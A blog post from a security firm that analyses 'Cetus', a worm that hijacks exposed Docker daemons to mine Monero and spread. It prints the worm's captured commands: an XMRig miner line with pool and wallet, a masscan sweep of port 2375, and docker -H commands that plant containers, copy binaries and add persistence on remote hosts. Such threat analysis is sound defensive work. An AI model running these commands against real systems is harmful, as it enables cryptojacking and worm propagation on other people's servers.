The abuse of open Docker daemons for mining cryptocurrencies is nothing new. You can find multiple blog posts (Aqua, CloudVector, SentinelOne, Palo Alto, etc.) about how different threat actors are creating Docker containers for mining purposes.
In this blog post, we are going to focus on one worm that was described by Palo Alto Unit42 last year, but that is still wandering around. Palo Alto identified the worm as ‘Cetus’, and it is closely related to a group called ‘TeamTNT’, which we will cover in future blog posts.
‘Cetus’ is a worm that compromises open Docker daemons with two clear goals:
- 1. Cryptocurrency mining (XMRig), usually Monero
- 2. Massive scanning of the Internet looking for more open Docker daemons to propagate itself.
Palo Alto did a great job describing how ‘Cetus’ works:
Cetus Life Cycle
We can easily see in the next series of events how the worm found our open Docker daemon and created the malicious container:
Requests to the Docker daemon HTTP API
- 1. First it checks that it can connect to the daemon listing all the containers
- 2. Then it tries to create a new container with the name ‘risible_amatorculist’
- 3. Since the new container’s docker image is not in the system, it downloads and creates the docker image ubuntu:18.04
- 4. Then it starts the new container
- 5. It then copies the worm files (/usr/bin/docker-cache and /usr/bin/portainer)
- 6. Next, it executes a command in the new container
- 7. Finally, it restarts the container
Requests to the Docker daemon HTTP API
When the container restarts, it starts the crypto miner binary - XMRig - (/usr/bin/docker-cache) that starts mining Monero:
docker-cache -B --donate-level 1 -o pool.minexmr.com:443 -u 85X7JcgPpwQdZXaK2TKJb8baQAXc3zBsnW7JuY7MLi9VYSamf4bFwa7SEAK9Hgp2P53npV19w1zuaK5bft5m2NN71CmNLoh -k --tls -t 1 --rig-id risible_amatorculist -l /var/log/utmp.log
Crypto miner execution
Mass scan execution
After the container is restarted, the malicious binary /usr/bin/portainer is launched and acts as an orchestrator, starting both the XMRig crypto miner and the masscan process, looking for more open Docker daemons (port 2375/tcp):
masscan 127.102.0.0/16 -p 2375 -oL - --max-rate 360 2>/dev/null
Once an open Docker daemon has been found, the worm checks that it is a real Docker daemon by trying to list its containers:
timeout 60 docker -H 188.8.131.52 ps -a --no-trunc
If the operation is successful, then the worm creates a new container based on the Ubuntu 18.04 image, installs masscan and docker.io (the docker client) and copies the two malicious binaries that use docker-cache (XMRig) and portainer (the orchestrator) in /usr/bin, as can be seen from the following capture:
timeout 1800 docker -H 184.108.40.206 run -dt --name fecund_grommet --restart always ubuntu:18.04 /bin/bash timeout 1800 docker -H 220.127.116.11 exec 2712f957e1fcff0eadef551b6cc9bb3a30eb8339c1c9b3fe44c55f56fbd9e0f6 apt-get -yq update timeout 1800 docker -H 18.104.22.168 exec 2712f957e1fcff0eadef551b6cc9bb3a30eb8339c1c9b3fe44c55f56fbd9e0f6 apt-get -yq install masscan docker.io timeout 1800 docker -H 22.214.171.124 cp -L /usr/bin/docker-cache 2712f957e1fcff0eadef551b6cc9bb3a30eb8339c1c9b3fe44c55f56fbd9e0f6:/usr/bin/ timeout 1800 docker -H 126.96.36.199 cp -L /usr/bin/portainer 2712f957e1fcff0eadef551b6cc9bb3a30eb8339c1c9b3fe44c55f56fbd9e0f6:/usr/bin/
Docker copy command
The worm then gains persistence in the container by adding a line to the /root/.bash_aliases file that will be executed when the container starts, and restarts the container so that the /usr/bin/portainer binary is executed:
timeout 1800 docker -H 188.8.131.52 exec 2712f957e1fcff0eadef551b6cc9bb3a30eb8339c1c9b3fe44c55f56fbd9e0f6 bash --norc -c 'echo "/usr/bin/portainer fecund_grommet >/dev/null 2>/dev/null &" > /root/.bash_aliases timeout 1800 docker -H 184.108.40.206 restart 2712f957e1fcff0eadef551b6cc9bb3a30eb8339c1c9b3fe44c55f56fbd9e0f6'
The portainer binary is responsible for managing the entire operation: mining and mass scanning. It uses the portainer binary name in an attempt to disguise as a valid container product, Portainer.
It uses the file /var/log/stmp.log as a log file where all the results of the scanning and the work propagation can be found. For example, you can see that the worm found another open Docker daemon and was able to propagate successfully:
One of the main characteristics of the worm is that it always chooses the name of the containers that it creates. It is always a combination of two words (adjective + noun) from the following lists:
|First word||Second word|
In our case the container name was ‘risible_amatorculist’ and the container name that was created when propating was ‘fecund_grommet’.
The reason for using fixed container names is that the worm can detect if the Docker daemon victim is already infected, by just checking its container names. If it is infected, then will not attempt to infect it again.
|/usr/bin/portainer||b49a3f3cb4c70014e2c35c880d47bc475584b87b7dfcfa6d7341d42a16ebe443 (compiled on 23/02/2020 with GCC 7.4.0 in an Ubuntu 18.0.4)|
Read the rest of the series here:
David Barroso is a founder and CEO of CounterCraft. You can find him on LinkedIn.